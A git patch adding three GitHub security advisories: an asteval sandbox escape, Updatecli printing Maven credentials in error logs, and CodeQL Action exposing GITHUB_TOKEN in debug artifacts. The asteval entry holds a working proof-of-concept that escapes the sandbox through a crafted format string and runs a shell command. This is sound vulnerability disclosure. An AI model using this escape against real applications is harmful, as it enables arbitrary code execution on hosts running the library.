From e1a28f92ddfefc7b864b308eb64ba6de7ebf1419 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 24 Jan 2025 18:46:23 +0000 Subject: [PATCH] Publish Advisories GHSA-3wwr-3g9f-9gc7 GHSA-v34r-vj4r-38j6 GHSA-vqf5-2xx6-9wfm --- .../GHSA-3wwr-3g9f-9gc7.json | 77 +++++++++++++ .../GHSA-v34r-vj4r-38j6.json | 69 ++++++++++++ .../GHSA-vqf5-2xx6-9wfm.json | 104 ++++++++++++++++++ 3 files changed, 250 insertions(+) create mode 100644 advisories/github-reviewed/2025/01/GHSA-3wwr-3g9f-9gc7/GHSA-3wwr-3g9f-9gc7.json create mode 100644 advisories/github-reviewed/2025/01/GHSA-v34r-vj4r-38j6/GHSA-v34r-vj4r-38j6.json create mode 100644 advisories/github-reviewed/2025/01/GHSA-vqf5-2xx6-9wfm/GHSA-vqf5-2xx6-9wfm.json diff --git a/advisories/github-reviewed/2025/01/GHSA-3wwr-3g9f-9gc7/GHSA-3wwr-3g9f-9gc7.json b/advisories/github-reviewed/2025/01/GHSA-3wwr-3g9f-9gc7/GHSA-3wwr-3g9f-9gc7.json new file mode 100644 index 00000000000..7fa3f8b8b75 --- /dev/null +++ b/advisories/github-reviewed/2025/01/GHSA-3wwr-3g9f-9gc7/GHSA-3wwr-3g9f-9gc7.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3wwr-3g9f-9gc7", + "modified": "2025-01-24T18:45:30Z", + "published": "2025-01-24T18:45:30Z", + "aliases": [ + "CVE-2025-24359" + ], + "summary": "ASTEVAL Allows Maliciously Crafted Format Strings Lead to Sandbox Escape", + "details": "### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n \"formatting used in f-strings\"\n val = self.run(node.value)\n fstring_converters = {115: str, 114: repr, 97: ascii}\n if node.conversion in fstring_converters:\n val = fstring_converters[node.conversion](val)\n fmt = '{__fstring__}'\n if node.format_spec is not None:\n fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n# ga\n \ndef pwn():\n try:\n f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n except Exception as ga:\n ga = ga.obj\n sub = ga(dict.mro()[1],\"__subclasses__\")()\n importer = None\n for i in sub:\n if \"BuiltinImporter\" in str(i):\n importer = i.load_module\n break\n os = importer(\"os\")\n os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n \npwn()\n\"\"\"\naeval(code)\n\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "asteval" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.6" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.5" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24359" + }, + { + "type": "WEB", + "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lmfit/asteval" + }, + { + "type": "WEB", + "url": "https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507" + }, + { + "type": "WEB", + "url": "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-134", + "CWE-749" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-01-24T18:45:30Z", + "nvd_published_at": "2025-01-24T17:15:16Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/01/GHSA-v34r-vj4r-38j6/GHSA-v34r-vj4r-38j6.json b/advisories/github-reviewed/2025/01/GHSA-v34r-vj4r-38j6/GHSA-v34r-vj4r-38j6.json new file mode 100644 index 00000000000..67e58502e85 --- /dev/null +++ b/advisories/github-reviewed/2025/01/GHSA-v34r-vj4r-38j6/GHSA-v34r-vj4r-38j6.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v34r-vj4r-38j6", + "modified": "2025-01-24T18:45:21Z", + "published": "2025-01-24T18:45:20Z", + "aliases": [ + "CVE-2025-24355" + ], + "summary": "Updatecli exposes Maven credentials in console output", + "details": "### Summary\n\nPrivate maven repository credentials leaked in application logs in case of unsuccessful retrieval operation.\n\n### Details\n\nDuring the execution of an updatecli pipeline which contains a `maven` source configured with basic auth credentials, the credentials are being leaked in the application execution logs in case of failure.\n\nCredentials are properly sanitized when the operation is successful but not when for whatever reason there is a failure in the maven repository .e.g. wrong coordinates provided, not existing artifact or version.\n\n### PoC\n\nThe [documentation](https://www.updatecli.io/docs/plugins/resource/maven/) currently state to provide user credentials as basic auth inside the `repository` field. e.g.\n\n```\nsources:\n default:\n kind: maven\n spec:\n repository: \"{{ requiredEnv \"MAVEN_USERNAME\" }}:{{ requiredEnv \"MAVEN_PASS\" }}@repo.example.org/releases\"\n groupid: \"org.example.company\"\n artifactid: \"my-artifact\"\n versionFilter:\n kind: regex\n pattern: \"^23(\\.[0-9]+){1,2}$\"\n```\n\nLogs are sanitized properly in case of a successful operation:\n\n```\nsource: source#default\n-----------------------------------------------------------\nSearching for version matching pattern \"^23(\\\\.[0-9]+){1,2}$\"\nāœ” Latest version is 23.4.0 on the Maven repository at https://repo.example.org/releases/org/example/company/my-artifact/maven-metadata.xml\n```\n\nbut leaks credentials in case the GAV coordinates are wrong (misspelled package name or missing):\n\n```\nsource: source#default\n-----------------------------------------------------------\nERROR: āœ— getting latest version: URL \"https://REDACTED:REDACTED@repo.example.org/releases/org/example/company/wrong-artifact/maven-metadata.xml\" not found or in error\n```\n\n### Impact\n\nUser credentials/token used to authenticate against a private maven repository can be leaked in clear-text in console or CI logs.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/updatecli/updatecli" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.93.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/updatecli/updatecli/security/advisories/GHSA-v34r-vj4r-38j6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24355" + }, + { + "type": "WEB", + "url": "https://github.com/updatecli/updatecli/commit/344b28091ffeca5ed32e8d0f9eda542842fcd3fa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/updatecli/updatecli" + }, + { + "type": "WEB", + "url": "https://www.updatecli.io/docs/plugins/resource/maven" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-359" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-01-24T18:45:20Z", + "nvd_published_at": "2025-01-24T17:15:16Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/01/GHSA-vqf5-2xx6-9wfm/GHSA-vqf5-2xx6-9wfm.json b/advisories/github-reviewed/2025/01/GHSA-vqf5-2xx6-9wfm/GHSA-vqf5-2xx6-9wfm.json new file mode 100644 index 00000000000..b8037258caf --- /dev/null +++ b/advisories/github-reviewed/2025/01/GHSA-vqf5-2xx6-9wfm/GHSA-vqf5-2xx6-9wfm.json @@ -0,0 +1,104 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vqf5-2xx6-9wfm", + "modified": "2025-01-24T18:44:55Z", + "published": "2025-01-24T18:44:55Z", + "aliases": [ + "CVE-2025-24362" + ], + "summary": "GitHub PAT written to debug artifacts", + "details": "### Impact summary\n\nIn some circumstances, debug artifacts uploaded by the CodeQL Action after a failed code scanning workflow run may contain the environment variables from the workflow run, including any secrets that were exposed as environment variables to the workflow. Users with read access to the repository would be able to access this artifact, containing any secrets from the environment.\n\nFor some affected workflow runs, the exposed environment variables in the debug artifacts included a valid `GITHUB_TOKEN` for the workflow run, which has access to the repository in which the workflow ran, and all the permissions specified in the workflow or job. The `GITHUB_TOKEN` is valid until the job completes or 24 hours has elapsed, whichever comes first.\n\nEnvironment variables are exposed only from workflow runs that satisfy all of the following conditions:\n- Code scanning workflow configured to scan the Java/Kotlin languages.\n- Running in a repository containing Kotlin source code.\n- Running with [debug artifacts enabled](https://docs.github.com/en/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough).\n- Using CodeQL Action versions <= 3.28.2, and CodeQL CLI versions >= 2.9.2 (May 2022) and <= 2.20.2.\n- The workflow run fails before the CodeQL database is finalized within the `github/codeql-action/analyze` step.\n- Running in any GitHub environment: GitHub.com, GitHub Enterprise Cloud, and GitHub Enterprise Server. (Note: artifacts are only accessible to users within the same GitHub environment with access to the scanned repo.)\n\nThe `GITHUB_TOKEN` exposed in this way would only have been valid for workflow runs that satisfy all of the following conditions, in addition to the conditions above:\n- Using CodeQL Action versions >= 3.26.11 (October 2024) and <= 3.28.2, or >= 2.26.11 and < 3.\n- Running in GitHub.com or GitHub Enterprise Cloud only (not valid on GitHub Enterprise Server).\n\nIn rare cases during advanced setup, logging of environment variables may also occur during database creation of Java, Swift, and C/C++. Please read the corresponding CodeQL CLI advisory [GHSA-gqh3-9prg-j95m](https://github.com/github/codeql-cli-binaries/security/advisories/GHSA-gqh3-9prg-j95m) for more details.\n\n\n### Impact details\n\nIn CodeQL CLI versions >= 2.9.2 and <= 2.20.2, the CodeQL Kotlin extractor logs all environment variables by default into an intermediate file during the process of creating a CodeQL database for Kotlin code. \nThis is a part of the CodeQL CLI and is invoked by the CodeQL Action for analyzing Kotlin repositories. \nOn Actions, the environment variables logged include GITHUB_TOKEN, which grants permissions to the repository being scanned.\n\nThe intermediate file containing environment variables is deleted when finalizing the database, so it is not included in a successfully created database. It is, however, included in the debug artifact that is uploaded on a failed analysis run if the CodeQL Action was invoked in debug mode.\n\nTherefore, under these specific circumstances (incomplete database creation using the CodeQL Action in debug mode) an attacker with access to the debug artifact would gain unauthorized access to repository secrets from the environment, including both the `GITHUB_TOKEN` and any user-configured secrets made available via environment variables.\n\nThe impact of the `GITHUB_TOKEN` leaked in this environment is limited:\n- For workflows on GitHub.com and GitHub Enterprise Cloud using CodeQL Action versions >= 3.26.11 and <= 3.28.2, or >= 2.26.11 and < 3, which in turn use the `actions/artifacts v4` library, the debug artifact is uploaded before the workflow job completes. During this time the `GITHUB_TOKEN` is still valid, providing an opportunity for attackers to gain access to the repository.\n- For all other workflows, the debug artifact is uploaded after the workflow job completes, at which point the leaked `GITHUB_TOKEN` has been revoked and cannot be used to access the repository.\n\n### Mitigations\n\nUpdate to CodeQL Action version 3.28.3 or later, or CodeQL CLI version 2.20.3 or later.\n\n### Patches\n\nThis vulnerability has been fixed in CodeQL Action version 3.28.3, which no longer uploads database artifacts in debug mode.\nThis vulnerability will be fixed in CodeQL CLI version 2.20.3, in which database creation for all languages no longer logs the complete environment by default.\n\n### References\n\n- [Pull request that bundled CodeQL CLI 2.9.2 with Kotlin extractor environment variable logging ](https://github.com/github/codeql-action/pull/1074)\n- [Pull request that introduced the `actions/artifacts v4` library, allowing for `GITHUB_TOKEN` exposure in the CodeQL Action debug artifacts before the token was revoked](https://github.com/github/codeql-action/pull/2482)\n- [Related security advisory for the CodeQL CLI](https://github.com/github/codeql-cli-binaries/security/advisories/GHSA-gqh3-9prg-j95m)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "GitHub Actions", + "name": "github/codeql-action" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.26.11" + }, + { + "fixed": "3.28.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.28.2" + } + }, + { + "package": { + "ecosystem": "GitHub Actions", + "name": "github/codeql-action" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.26.11" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 3.0.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/github/codeql-action/security/advisories/GHSA-vqf5-2xx6-9wfm" + }, + { + "type": "WEB", + "url": "https://github.com/github/codeql-cli-binaries/security/advisories/GHSA-gqh3-9prg-j95m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24362" + }, + { + "type": "WEB", + "url": "https://github.com/github/codeql-action/pull/1074" + }, + { + "type": "WEB", + "url": "https://github.com/github/codeql-action/pull/2482" + }, + { + "type": "WEB", + "url": "https://github.com/github/codeql-action/commit/519de26711ecad48bde264c51e414658a82ef3fa" + }, + { + "type": "WEB", + "url": "https://docs.github.com/en/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough" + }, + { + "type": "PACKAGE", + "url": "https://github.com/github/codeql-action" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-215", + "CWE-532" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-01-24T18:44:55Z", + "nvd_published_at": "2025-01-24T18:15:32Z" + } +} \ No newline at end of file